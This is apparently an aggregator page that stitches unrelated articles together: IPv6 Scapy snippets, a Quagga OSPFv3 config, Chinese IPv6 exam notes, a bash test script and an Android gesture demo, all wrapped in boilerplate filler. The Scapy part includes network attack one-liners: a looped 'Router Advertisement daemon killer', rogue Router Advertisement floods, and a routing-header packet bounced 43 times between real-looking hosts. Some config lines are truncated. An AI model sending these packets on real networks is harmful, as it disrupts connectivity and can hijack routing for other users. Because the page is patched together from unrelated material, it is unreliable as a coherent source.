GVKun编程网logo

IPv6 Scapy Samples

3

如果您对IPv6ScapySamples感兴趣,那么这篇文章一定是您不可错过的。我们将详细讲解IPv6ScapySamples的各种细节,此外还有关于(OK)SampleIPv6Quaggaconfi

如果您对IPv6 Scapy Samples感兴趣,那么这篇文章一定是您不可错过的。我们将详细讲解IPv6 Scapy Samples的各种细节,此外还有关于(OK) Sample IPv6 Quagga config、8月24日 网工学习 第七章 IPv4问题与改进 IPv6报文格式、六种扩展头部 IPv6地址格式 IPv6写法 地址分类 IPv4和IPv6的比较 IPv6路由协议 过渡技术、A sample test scaffold、Android SubsamplingScaleImageView (subsampling-scale-image-view) 单双击长按事件【系列 2】的实用技巧。

本文目录一览:

IPv6 Scapy Samples

IPv6 Scapy Samples

 1 IPv6 ICMP
 2 icmp ipv6 request
 3     
 4     i=IPv6()
 5     i.dst="2001:db8:dead::1"
 6     q=ICMPv6EchoRequest()
 7     p=(i/q)
 8     sr1(p)
9 ipv6 source route packets 10 i=IPv6() 11 i.dst="2001:db8:dead::1" 12 h=IPv6ExtHdrRouting() 13 h.addresses=["2001:db8:dead::1","2001:db8:dead::1","2001:db8:dead::1"] 14 p=ICMPv6EchoRequest() 15 pa=(i/h/p)
16 Routing Header Example 17 a = sr1(IPv6(dst="2001:4f8:4:7:2e0:81ff:fe52:9a6b")/ \ 18 IPv6ExtHdrRouting(addresses=["2001:78:1:32::1", "2001:20:82:203:fea5:385"])/ \ 19 ICMPv6EchoRequest(data=RandString(7)), verbose=0) 20 a.src
21 Traceroute 22 waypoint = "2001:301:0:8002:203:47ff:fea5:3085" 23 target = "2001:5f9:4:7:2e0:81ff:fe52:9a6b" 24 traceroute6(waypoint, minttl=15 ,maxttl=34,l4=IPv6ExtHdrRouting(addresses=[target])/ICMPv6EchoRequest(data=RandString(7)))
25 Current high score (not tested) 26 addr1 = "2001:4830:ff:12ea::2" 27 addr2 = "2001:360:1:10::2" 28 zz=time.time(); 29 a=sr1(IPv6(dst=addr2, hlim=255)/IPv6ExtHdrRouting(addresses=[addr1, addr2]*43)/ICMPv6EchoRequest(data="staythere"), verbose=0, timeout=80); 30 print "%.2f seconds" % (time.time() - zz)
31 ipv6 NA (version 1) 32 sendp(Ether()/IPv6()/ICMPv6ND_RA()/ ICMPv6NDOptPrefixInfo(prefix="2001:db8:cafe:deca::", prefixlen=64)/ ICMPv6NDOptSrcLLAddr(lladdr="00:b0:de:ad:be:ef"), loop=1, inter=3)
33 ipv6 NA (version 2) 34 a=IPv6(nh=58, src=''fe80::214:f2ff:fe07:af0'', dst=''ff02::1'', version=6L, hlim=255, plen=64, fl=0L, tc=224L) 35 b=ICMPv6ND_RA(code=0, chlim=64, H=0L, M=0L, O=0L, routerlifetime=1800, P=0L, retranstimer=0, prf=0L, res=0L, reachabletime=0, type=134) 36 c=ICMPv6NDOptSrcLLAddr(type=1, len=1, lladdr=''00:14:f2:07:0a:f1'') 37 d=ICMPv6NDOptMTU(res=0, type=5, len=1, mtu=1500) 38 e=ICMPv6NDOptPrefixInfo(A=1L, res2=0, res1=0L, L=1L, len=4, prefix=''2001:db99:dead::'', R=0L, validlifetime=2592000, prefixlen=64, preferredlifetime=604800, type=3) 39 send(a/b/c/d/e) 40 The one line Router Advertisement daemon killer 41 send(IPv6(src=server)/ICMPv6ND_RA(routerlifetime=0), loop=1, inter=1)
42 Test1 43 someaddr=["2001:6c8:6:4::7", "2001:500::1035", "2001:1ba0:0:4::1", 44 "2001:2f0:104:1:2e0:18ff:fea8:16f5", "2001:e40:100:207::2", 45 "2001:7f8:2:1::18", "2001:4f8:0:2::e", "2001:4f8:0:2::d"] 46 47 for addr in someaddr: 48 a = sr1(IPv6(dst=addr)/ICMPv6NIQueryName(data=addr), verbose=0) 49 print a.sprintf( "%-35s,src%: %data%")
50 Test2 51 someaddr=["2001:6c8:6:4::7", "2001:500::1035", "2001:1ba0:0:4::1", 52 "2001:2f0:104:1:2e0:18ff:fea8:16f5", "2001:e40:100:207::2", 53 "2001:7f8:2:1::18", "2001:4f8:0:2::e", "2001:4f8:0:2::d"] 54 55 for addr in someaddr: 56 a = sr1(IPv6(dst="ff02::1")/ICMPv6NIQueryName(data="ff02::1")) 57 print a.sprintf( "%data%") 58 59 IPv6 Scapy 3 Way 60 Creating a IPv6 3 Way Handshake 61 62 Step 1. 63 trun off the RST Packets from the Kernel, because no listen Port on the Source Port. (Scapy is not unsing RAW Socket) 64 iptables -A OUTPUT -p tcp --tcp-flags RST RST -d {dest IP} -j DROP
65 Step 2. 66 Send th SYN Packet with scapy and fetch the answer. 67 ip=IPv6(dst="2001:db8:0:1:207:3fff:fe68:df44") 68 TCP_SYN=TCP(sport=1500, dport=80, flags="S", seq=100) 69 TCP_SYNACK=sr1(ip/TCP_SYN)
70 Step 3. 71 Send the ACK Packet with scapy 72 my_ack = TCP_SYNACK.seq + 1 73 TCP_ACK=TCP(sport=1500, dport=80, flags="A", seq=101, ack=my_ack) 74 send(ip/TCP_ACK)
75 Step 4. 76 Check the client with netstat -na

 

(OK) Sample IPv6 Quagga config

(OK) Sample IPv6 Quagga config


http://www.thuannguyen.net/sample-ipv6-quagga-config.html


July 12, 2016


The following config is derived from a working config on a OpenWRT Linux router. The original setup has two separate networks: one with a public IPv6 range; the other network based on a unique local address. The VPN network is subnet 0, the public network 1, and the private network 2. For OSPF to work correctly, protocol 89 must be accessible (usually is).

ospf6d.conf

password whatever
!
!adapter setup
!
interface br0
ipv6 ospf6 cost 1
ipv6 ospf6 hello-interval 10
ipv6 ospf6 dead-interval 40
ipv6 ospf6 retransmit-interval 5
ipv6 ospf6 priority 1
ipv6 ospf6 transmit-delay 1
ipv6 ospf6 instance-id 1
!
interface vpn0
ipv6 ospf6 cost 1
ipv6 ospf6 hello-interval 10
ipv6 ospf6 dead-interval 40
ipv6 ospf6 retransmit-interval 5
ipv6 ospf6 priority 2
ipv6 ospf6 transmit-delay 
ipv6 ospf6 instance-id 2
!
!router setup
!
router ospf6
router-id 0.0.0.1
redistribute static
redistribute connected
area 0.0.0.1 range 2001:db8:beef:1::/64
area 0.0.0.1 range 2001:db8:beef:2::/64
interface br0 area 0.0.0.1
interface vpn0 area 0.0.0.0

zebra.conf

hostname www.thuannguyen.net
password whatever
!
interface br0
 link-detect
 no ipv6 nd suppress-ra
 ipv6 nd ra-interval 10
 ipv6 address 2001:db8:beef:1::ffff/64
 ipv6 address 2001:db8:beef:2::ffff/64
 ipv6 nd prefix 2001:db8:beef:1::/64
 ipv6 nd prefix 2001:db8:beef:2::/64
!
interface vpn0
 link-detect
 ipv6 address 2001:db8:beef:0::1/64
 ipv6 address 2001:db8:beef:0::2/64
!
interface lo
 link-detect
!
ipv6 forwarding
 ipv6 route 2001:db8:beef:1::/64 br0
 ipv6 route 2001:db8:beef:2::/64 br0



8月24日 网工学习 第七章 IPv4问题与改进 IPv6报文格式、六种扩展头部 IPv6地址格式 IPv6写法 地址分类 IPv4和IPv6的比较 IPv6路由协议 过渡技术

8月24日 网工学习 第七章 IPv4问题与改进 IPv6报文格式、六种扩展头部 IPv6地址格式 IPv6写法 地址分类 IPv4和IPv6的比较 IPv6路由协议 过渡技术

目录

第七章 下一代互联网

IPv4问题与改进

IPv6报文格式

IPv6的六种扩展头部

IPv6地址格式 

IPv6写法

地址分类

IPv4和IPv6的比较

IPv6路由协议

过渡技术

隧道技术:解决IPv6节点之间通过IPv4网络进行通信

双协议栈技术:同时运行IPv4和IPv6 用的多

协议翻译技术:解决纯IPv6节点与纯IPv4节点之间进行通信


第七章 下一代互联网

⭐IPV6地址格式 过渡技术

IPv4问题与改进

  1. 网络地址的短缺
  2. 地址分配不合理
  3. 路由速度慢
  4. 缺乏安全功能
  5. 不支持新的业务模式

IPv6报文格式

源地址、目标地址 128b

IPv6固定头部 40B字节

IPv4固定头部 20B字节

IPv6的六种扩展头部

下一头部编号为0 是逐跳选项 

例题:

答案:B C

IPv6固定头部 40B字节 IPv4固定头部 20B字节

TTL、跳数限制都是防止IP包在里面无限的传送

扩展头部的功能 需了解 

IPv6地址格式 

 4个2进制表示1个16进制

IPv6写法

例题: 

答案:C 

后面的0不能省

地址分类

 IPv6没有广播地址,功能被组播地址代替

单播地址

前缀:

可聚合全球单播地址 001

链路本地地址 1111 1110 10

站点本地地址 1111 1110 11

1聚2恋3占有

例题: 

答案:B A 

1聚2恋3占有

组播地址

IPv6组播地址的前缀是 1111 1111

IPv4和IPv6的比较

IPv6路由协议

RIPng、OSPFv3、BGP4+

DHCPv6 无状态配置

ICMPv6 (新增加的邻居发现功能代替了ARP协议的功能)

例题:

答案:B  C

链路本地地址是MAC地址生成的

过渡技术

隧道技术:解决IPv6节点之间通过IPv4网络进行通信

  • 隧道中介技术
  • 自动隧道
  • 6to4隧道
  • 6over4隧道
  • ISATAP

双协议栈技术:同时运行IPv4和IPv6 用的多

  • BIS
  • BIA

协议翻译技术:解决纯IPv6节点与纯IPv4节点之间进行通信

  • SIIT
  • NAT -PT

例题:

答案:C D 

A sample test scaffold

A sample test scaffold

#!/bin/bash

usage() {
    cat << EOF
usage: ${0##*/} <target_program> <expected_input_output>
EOF
}

if [ $# != 2 ]; then
    usage
    exit 1
fi

# parse arguments
INPUT_OUTPUT_FILE="input-expectedoutput"
TARGET_PROG=$1
INPUT=$2

# validate arguments
if [ ! -f $TARGET_PROG ]; then echo $TARGET_PROG does not exist; exit 1; fi
if [ ! -f $INPUT ]; then echo $INPUT does not exist; exit 1; fi
[ ! -f $INPUT_OUTPUT_FILE ] && touch $INPUT_OUTPUT_FILE
> $INPUT_OUTPUT_FILE

# generate input-expectedoutput from input
cat $INPUT | while read input; do
    expected_output=`echo $input | tr ''[:lower:]'' ''[:upper:]''`
    echo -e "${input}\t${expected_output}" >> $INPUT_OUTPUT_FILE
done

# generate tmp prog which is used to test target prog
success=1
cat $INPUT_OUTPUT_FILE | while read input expected_output; do
    output=`./$TARGET_PROG $input`
    if [ $output != $expected_output ]; then echo "FAIL for $input"; success=0; fi
done

[ $success == 1 ] && echo "SUCCESS" || echo "FAIL"

Android SubsamplingScaleImageView (subsampling-scale-image-view) 单双击长按事件【系列 2】

Android SubsamplingScaleImageView (subsampling-scale-image-view) 单双击长按事件【系列 2】

Android SubsamplingScaleImageView (subsampling-scale-image-view) 单双击长按事件【系列 2】


附录参考文章 1 介绍了 Android SubsamplingScaleImageView (subsampling-scale-image-view) 的简单使用方法。
在处理大图的浏览查看动作过程中,往往还有其他额外的事情需要处理,典型的以微信为例,在微信中,用户可以在消息列表中查看单击 / 双击放大 / 缩小消息列表中的图片,但还有一个事件:用户长按图片,弹出对话框,提示用户针对此图片的其他动作如转发。这项功能需要在 SubsamplingScaleImageView (subsampling-scale-image-view) 给当前的 SubsamplingScaleImageView 注册一个 OnTouchListener 事件侦听类,进而用 Android 的 GestureDetector 侦听处理有关 SubsamplingScaleImageView 的单击、双击、长按事件。
在附录文章 1 的基础上,增加上述‘功能,给出一个小 demo。
测试的主 Activity MainActivity.java:

package zhangphil.demo;

import com.davemorrissey.labs.subscaleview.ImageSource;
import com.davemorrissey.labs.subscaleview.SubsamplingScaleImageView;

import android.app.Activity;
import android.graphics.PointF;
import android.os.Bundle;
import android.view.GestureDetector;
import android.view.MotionEvent;
import android.view.View;
import android.view.View.OnTouchListener;
import android.widget.Toast;

public class MainActivity extends Activity {

	private SubsamplingScaleImageView mSubsamplingScaleImageView;
	private GestureDetector gestureDetector;

	private final String fail_tips = "SubsamplingScaleImageView not ready !!!";

	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);

		mSubsamplingScaleImageView = (SubsamplingScaleImageView) findViewById(R.id.subsamplingScaleImageView);
		mSubsamplingScaleImageView.setImage(ImageSource.asset("china.jpg"));

		gestureDetector = new GestureDetector(this, new GestureDetector.SimpleOnGestureListener() {
			@Override
			public boolean onSingleTapConfirmed(MotionEvent e) {
				if (mSubsamplingScaleImageView.isReady()) {
					PointF sCoord = mSubsamplingScaleImageView.viewToSourceCoord(e.getX(), e.getY());
					Toast.makeText(getApplicationContext(), "单击: " + ((int) sCoord.x) + ", " + ((int) sCoord.y),
							Toast.LENGTH_SHORT).show();
				} else {
					Toast.makeText(getApplicationContext(), fail_tips, Toast.LENGTH_SHORT).show();
				}

				return false;
			}

			@Override
			public void onLongPress(MotionEvent e) {
				if (mSubsamplingScaleImageView.isReady()) {
					PointF sCoord = mSubsamplingScaleImageView.viewToSourceCoord(e.getX(), e.getY());
					Toast.makeText(getApplicationContext(), "长按: " + ((int) sCoord.x) + ", " + ((int) sCoord.y),
							Toast.LENGTH_SHORT).show();
				} else {
					Toast.makeText(getApplicationContext(), fail_tips, Toast.LENGTH_SHORT).show();
				}
			}

			@Override
			public boolean onDoubleTap(MotionEvent e) {
				if (mSubsamplingScaleImageView.isReady()) {
					PointF sCoord = mSubsamplingScaleImageView.viewToSourceCoord(e.getX(), e.getY());
					Toast.makeText(getApplicationContext(), "双击: " + ((int) sCoord.x) + ", " + ((int) sCoord.y),
							Toast.LENGTH_SHORT).show();
				} else {
					Toast.makeText(getApplicationContext(), fail_tips, Toast.LENGTH_SHORT).show();
				}

				return false;
			}
		});

		mSubsamplingScaleImageView.setOnTouchListener(new OnTouchListener() {
			@Override
			public boolean onTouch(View view, MotionEvent motionEvent) {
				return gestureDetector.onTouchEvent(motionEvent);
			}
		});
	}
}


在此简单的说一下 Android 的事件传导派发流程。在 Android 的 OnTouchListener 中,用 GestureDetector 屏幕事件时候,在个别系统回调函数中的返回值:true,false。通常,
(1)如果返回 true,是告知 Android 事件系统当前事件已经被消费(事件被拦截了),不要再继续传导派发此事件了。
(2)如果返回 false,是告知 Android 事件系统,当前此事件没有被消费(事件没有被拦截,只是监听而已),要求 Android 系统继续传导派发此事件。
简言之,如果是拦截事件,就返回 true;如果只是监听事件,则返回 false。
在本例中,虽然我拦截了 GestureDetector 的 onSingleTapConfirmed,onDoubleTap,但返回了 false,返回 false,是为了继续支持 SubsamplingScaleImageView 的单击、双击、长按事件。
运行结果如图所示:


附录参考文章:
【文章 1】《Android 加载 / 处理超大图片神器!SubsamplingScaleImageView (subsampling-scale-image-view)【系列 1】》链接地址:http://blog.csdn.net/zhangphil/article/details/49557549


今天关于IPv6 Scapy Samples的介绍到此结束,谢谢您的阅读,有关(OK) Sample IPv6 Quagga config、8月24日 网工学习 第七章 IPv4问题与改进 IPv6报文格式、六种扩展头部 IPv6地址格式 IPv6写法 地址分类 IPv4和IPv6的比较 IPv6路由协议 过渡技术、A sample test scaffold、Android SubsamplingScaleImageView (subsampling-scale-image-view) 单双击长按事件【系列 2】等更多相关知识的信息可以在本站进行查询。

本文标签: